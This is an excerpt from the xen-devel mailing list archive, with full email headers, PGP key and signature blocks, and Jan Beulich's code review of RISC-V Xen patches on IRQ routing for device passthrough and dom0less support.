 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------mJGr08yb975hK531mj5qNe7w
Content-Type: multipart/mixed; boundary="------------BdYq47Ia8wMZ2UrwocuM5LJt"

--------------BdYq47Ia8wMZ2UrwocuM5LJt
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDIuMDcuMjYgMDg6MjUsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwMi4wNy4yMDI2
IDA4OjEzLCBKw7xyZ2VuIEdyb8OfIHdyb3RlOg0KPj4gT24gMDIuMDcuMjYgMDc6NTQsIEph
biBCZXVsaWNoIHdyb3RlOg0KPj4+IE9uIDAxLjA3LjIwMjYgMTc6MzQsIEp1ZXJnZW4gR3Jv
c3Mgd3JvdGU6DQo+Pj4+IE9uIDAxLjA3LjI2IDEzOjM5LCBKYW4gQmV1bGljaCB3cm90ZToN
Cj4+Pj4+IE9uIDAxLjA3LjIwMjYgMTM6MTYsIEp1ZXJnZW4gR3Jvc3Mgd3JvdGU6DQo+Pj4+
Pj4gVG9kYXkgdGhlIFhFTl9ET01DVExfc2V0dmNwdWFmZmluaXR5IGh5cGVyY2FsbCB3aWx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Gl0ZWN0dXJlICh3aGljaCB3ZSBkb24ndCBjdXJyZW50bHkNCj4gaGF2ZSBzdXBw
b3J0IGZvciBhbnl3aGVyZSwgaGVuY2Ugd2h5IHRoZSBsaXR0bGUgZW5kaWFuIHNwZWNpYWwg
Y2FzZSB3YXMNCj4gYWRkZWQgdGhlcmUpLg0KDQpPaCwgaW5kZWVkLg0KDQoNCkp1ZXJnZW4N
Cg==
--------------BdYq47Ia8wMZ2UrwocuM5LJt
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh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TXIH
b+559UqvIB8AdgR3SAJGHHt4RKA0F7f5ipYBBrC6cyXJyyoprT10EMvU8VGiwXvT
yJz3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------BdYq47Ia8wMZ2UrwocuM5LJt--

--------------mJGr08yb975hK531mj5qNe7w--

--------------Y1anXJiAzC9XM6ECLdW7B8LM
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpGBaMFAwAAAAAACgkQsN6d1ii/Ey8Q
gAf9EMcw0RKEXA0r+rQkQGhq2xHmTbf6ZfAufbZmAf/T9X0rYQh2A5tCge03qO+5+paQzNV50g8/
IkoYhg+SGtqvEbOf3GcJx9B81g9NmDmPhRIzA+HaejfgnDIPlIFn6ve9WOjX+HQHSdPFp7lcc2CC
II/GoLHMiGm/mR/wfIefHDzMZVpCB3YRYu7DmHeNNIpkgO2s01yYKQpKkkOok7Nf3cpLf6U6aS3/
qn42Dq7OTPWidNrD9mTZ4T9nr1wcu5Z659jBM/TasZwsXY5/O0mZPA1aI5bGu7zwy2Av9sLrgoA+
P9mwT8bAMcmWMsKTggZmIPSAQ85nlvv/+yeBy5D2NA==
=kILW
-----END PGP SIGNATURE-----

--------------Y1anXJiAzC9XM6ECLdW7B8LM--


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 06:38:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 06:38:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351253.1608476 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfB4X-0002AB-Cs; Thu, 02 Jul 2026 06:38:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351253.1608476; Thu, 02 Jul 2026 06:38:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfB4X-0002A4-9m; Thu, 02 Jul 2026 06:38:53 +0000
Received: by outflank-mailman (input) for mailman id 1351253;
 Thu, 02 Jul 2026 06:38:51 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfB4V-00029y-N7
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 06:38:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfB4U-006Bsb-Ih
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:38:50 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a460764-5cb7-0a2a0a5109dd-0a2a45019a46-48
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:38:50 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46077a-400f-0a2a45010019-d155802abc05-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:38:50 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so9643035e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:38:50 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c6354771sm23124965e9.3.2026.07.01.23.38.49
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 23:38:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782974330; x=1783579130; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=tTOdo7r99vUeIh+Bzq2POYKkkUa284xP30k/bUUTVmc=;
        b=Ru6umzU/0upR/Q9bI2KbSz9MApTTg+VmlyE1IwhsLTImbn2ASsiZm6CdLfO7ZYPD61
         AGmdv6vn2mCzJDCSurOiecM4tv7aUbIZrG+7DfsJuZPIvpeYCBvYOEQ8Pp+UGiO+eP/1
         1yumUkG5YhuTG6IQ8qh4N+Gm09vbrlqJKQNr3ul0O65pSJ/jLmZNsfh2JQ/H2wN6bprV
         Q7eXoPXnUYfxhVvlzcwOg8qtcGYjh7S3Lq0Gkx+p/7z+yYgQjPMoJ5EnLupL623XSKIr
         vwdMDFjwC5cFEUbt51xe5gV9tTYsxDoytVQzEEJCq6BThCgNHDrQ14uLwZ4wIErg6Vbw
         aTHQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782974330; x=1783579130;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=tTOdo7r99vUeIh+Bzq2POYKkkUa284xP30k/bUUTVmc=;
        b=F60kKyMu9RUZl0KXqlE3GqabnvrkS7QhElSOZbArqNza0FE8KZPE2Er2LY8pIUmymp
         LxkjBD2UV8CjLQMD7i3udOZ8yuhttIMnnenqynihL7UfR+Y35UW321iwRWnyMqxrcuuL
         iMYpGRyB0zUKIyjwxZXNAdhNcUFilcj+i1PwMMqRG/BJ6rJJdX7DRkSGsKRV18kbaf9Y
         JVhwcAY1FFRxuflCc1jY6AoQ6WXr4vx1ipLbOqGxOcs8IWG3B1IR+hG95doz4XMMVHqt
         eY6UL53mY2MMpmGAZoQpfoYv/c0/L37SfMFVSeFfj6kLeJglnlKWV/uU/Xv4VLZmv0Qz
         nV8g==
X-Forwarded-Encrypted: i=1; AFNElJ+Ql92VWBnIn4SuFavGvRtzIxgyT7YL5s9U6zM2bdaEFl6wO3xGShBfZ+FYZ4y1KIFvfW9XzP8TcQc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxSTLovz5+cRsGjHFEMFUmluNeCWkQpAxhOluA814y0eDi/w/bX
	wzMHMx2OD1/nnzuzY1nUXpA0OUGKPDw4YoEqMriamH72NWzP3p/hvBqQE2jWIkYfVw==
X-Gm-Gg: AfdE7ckIPzkWCVD8l1b9p/eB6Tq4hL4TIOwv/vAsJtPrkX7NT1hN8S5JaqRvz/bZ3Mx
	4ERlEZeo7nwC/EKXnVPqOXEOXgPXWc4SRVQvwwpAtapYMvQEl4FNmTlMrYVqCIuR9WQqiv0fpGv
	JU9tve8TBIHYMORgHqci2zkrh10/6PY9xLmLaro06W3QF9POKE//Qdr37erTP2BqWWx1hSTt7fZ
	IS9gVuSd2hGDUpEhqQwPs3OsOFIieZmXvxUPH11piGR+JlpqejzKIbPhZP1S9bt+gA8r6BCHnZU
	2xXVPvkjFkGc3IsRNi9auCtQ5WFKgSGYmPzVWWNJrdHdsz2uyhfNBlHkQZC2M2i15aGmfQ8li6z
	8WpwEdOL1bW35qwjdR/6gDiZv6bpPj51iLVNTSagmg5uZ2p+fahob4gJaIhVJs+TxVznsAJFNlz
	+iHzKCt1MLMgaGBlO5ankBOv/qTpvZfCBRzzG0JEvSibEmfATJgxJ4hQxpoyLqR54N1/QujP3rk
	hUc
X-Received: by 2002:a05:600c:8590:b0:492:4363:e7eb with SMTP id 5b1f17b1804b1-493c2ba4f75mr52259095e9.32.1782974329984;
        Wed, 01 Jul 2026 23:38:49 -0700 (PDT)
Message-ID: <40bcf6b7-306a-419a-bf12-1855f9e589fe@suse.com>
Date: Thu, 2 Jul 2026 08:38:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 21/25] xen/riscv: implement IRQ routing for device
 passthrough
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <472a77604d35a0bc2a75b71f250fd67b63afde4c.1782487661.git.oleksii.kurochko@gmail.com>
 <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
 <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBAC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kr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1782974330-D16DE1E0-82700991/0/0
X-purgate-type: clean
X-purgate-size: 1953

On 01.07.2026 16:49, Oleksii Kurochko wrote:
> On 6/29/26 5:55 PM, Jan Beulich wrote:
>> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>>> @@ -221,3 +239,215 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
>>>       spin_unlock(&desc->lock);
>>>       irq_exit();
>>>   }
>>> +
>>> +static inline struct irq_guest *irq_get_guest_info(struct irq_desc *desc)
>>> +{
>>> +    ASSERT(spin_is_locked(&desc->lock));
>>> +    ASSERT(test_bit(_IRQ_GUEST, &desc->status));
>>> +    ASSERT(desc->action != NULL);
>>> +
>>> +    return desc->action->dev_id;
>>> +}
>>> +
>>> +static inline struct domain *irq_get_domain(struct irq_desc *desc)
>>> +{
>>> +    return irq_get_guest_info(desc)->d;
>>> +}
>>
>> Does this really need a separate helper? (You effectively open-code it
>> anyway in release_guest_irq().)
> 
> Considering that I used irq_get_domain() once at all (even in 
> downstream) I will drop that.

Good.

>> For both functions: "inline" generally wants limiting to header files.
> 
> Regarding inline I think that I don't understand, it isn't in the header 
> file as irq_get_guest_info() is used only in this file.

Right. I didn't as it to move to a header file.

> Do I understand you correctly and it is needed just to drop "inline" for
> irq_get_guest_info()?

Yes. It can be simply static here, and the compiler can figure out whether
to inline it.

>>> +    spin_unlock_irqrestore(&desc->lock, flags);
>>> +
>>> +    release_irq(desc->irq, info);
>>> +    xvfree(info);
>>
>> If, in release_irq(), action isn't freed, it's ->dev_id field will now have
>> a dangling pointer. (I think I did point this out before.)
> 
> It should freed in release_irq() as route_irq_to_guest() always set 
> action->free_on_release = true;

Well, "free_on_release" must exits for a purpose. I.e. there must be, now
or soon, cases where it's set to false. Else simply drop the field.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 06:41:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 06:41:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351263.1608485 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfB7I-0003ht-RM; Thu, 02 Jul 2026 06:41:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351263.1608485; Thu, 02 Jul 2026 06:41:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfB7I-0003hm-OV; Thu, 02 Jul 2026 06:41:44 +0000
Received: by outflank-mailman (input) for mailman id 1351263;
 Thu, 02 Jul 2026 06:41:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfB7G-0003hf-VJ
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 06:41:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfB7G-00Caq7-CD
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:41:42 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46081c-5cb7-0a2a0a5109dd-0a2a4507d4b6-18
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:41:38 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a460822-9c8e-0a2a45070019-d155dd32c5de-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:41:38 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-47640541585so864014f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:41:38 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db3dbb01sm5948452f8f.1.2026.07.01.23.41.36
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 23:41:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782974498; x=1783579298; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=C7gG1XXRUXGBnFboK8BGuq44cQ+yqBfPnKNNfXgaklg=;
        b=f5AIIkRG3AtRF/zcMBxzvxVxbC8PY2UjGJooqsup58Q0ifvGO/TJNYwmM37yyfj+pY
         iHB7GosAac2RR7Dq7+KsQbzb2UypVe/5F70F5v13Nt4HMMh2nLoXuJ3/YQvnMD4B54QB
         Wy4cHhTEk8PpkzZtHijJBllinb8G47LDG19c68AW67k+siaD7xylzXsVSRqUYBzqXYga
         GWOCgu+vyme/Q4WmGmDoc7QtsjlacnJHejaZ+h+vK/DWyGur4ZJuUCUKCb2Jl3kweOrC
         Mz7q/yA+mIQNNLO5EETnA/Xd1Ivl+N6kSKP620s/Q8bUhhXsSj5Y7IYywOeUTFTPOVKk
         v7Ug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782974498; x=1783579298;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=C7gG1XXRUXGBnFboK8BGuq44cQ+yqBfPnKNNfXgaklg=;
        b=HsJ8qOjki8CXXWGkbFTCELU70qnbFZnqZ3jA3w02hUSrBLhsGEkkdZwLFgovXN7z9/
         gXC5Uut0Jx+lOIiYJWvjeYQyoN8j8jndqz6iwR04czRhpAOaWAbJAe9WltfQekV3cBBZ
         TBW4BDhKi/tZGeGcxIELX2J8rESqP5eb5egHrnuqr3UODION18EX7+li7Bez08NdAa3T
         AIKufo+b08lcpR5uIAis7yjLiDtnfhVI7sp0jGSR7n3n0CAefLJym0G/5YARHtcprbtQ
         AA+8SO0oonza+vHIYxlHob4hOBJOnan4vog9VgCkSWv818mfZJ8qsYcnlFg0n6UWcKG4
         TtIA==
X-Forwarded-Encrypted: i=1; AHgh+Rpb02OwYG8QmRAwJuD758bud76CH9RQEYov5ikxqeFrM9ufq/EIF14IBAyBSWOpO3puvXvAXFVdyJ8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzI+sP2onGaGxL6nnfYBdvBaP1Ig2mxrMuCql+Uy5ebaMx517gt
	o5nD7HBUH9RXbx8AxgUDk9gxzuf/wZx5kWNdgmp7nN8lDrPCsYPbLHb+wGSYCmEBlQ==
X-Gm-Gg: AfdE7cmOM0+yumhPljFaCeiJz151rJmMBbNuMYD2fHeXf8+3ZHa+XDZZ2Uskr296i24
	mS5OS8FkJYoJ161/+nZjtoYvagvGt6Vvc4/wX7ybZi2/L5xSrgYuIehmWHCf6Id7v3lLZbXsT7n
	XD+h/jyuufzfaAmmnExnwh7EJPRoN7+fxA6VhkVPMQSw4TrfwI5RFY0ZcF8W+i3/nz0AwG9x83F
	cQYW6r8ymsKuCoDQOdYpmUjkuko2W7ulxvT+j1JIn7dyRPZ52wppgl9cWrGJBJvbojeQgZG4dh6
	jpq6bgwUA2m2EdOf/CTbgDm6dCgMC275Rw3yZ0JSV577GR2oENrp3oy4OWwTQ1VzbFFxy6CQj8l
	0a+vmTh3LsaI/zNfoQ0lx/tEVddLZjIvnHRmWXyhhWHec+X2lz4c02zMKcRG9WRWFfQwfEKReVd
	2nqbTRXeONLxCNoWdqtGikClKB6tS/LO/UjNmLTqGx/AVDc0wmMROfqmWURiWJyWQV1yp9oUQ2G
	4fc
X-Received: by 2002:a05:6000:18a4:b0:475:f0f0:9f05 with SMTP id ffacd0b85a97d-4775a2f5df1mr7083019f8f.60.1782974497717;
        Wed, 01 Jul 2026 23:41:37 -0700 (PDT)
Message-ID: <2e3d404f-8716-4d0f-b739-d1e842b5a07c@suse.com>
Date: Thu, 2 Jul 2026 08:41:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 25/25] xen/riscv: add initial dom0less infrastructure
 support
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <a6950e8dc2706c351fe6b0622602d34ecef133b7.1782487661.git.oleksii.kurochko@gmail.com>
 <131fc20c-1353-49fc-8f77-1ca13628ff17@suse.com>
 <c7aff2d8-14a7-4921-93d4-67228d871074@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
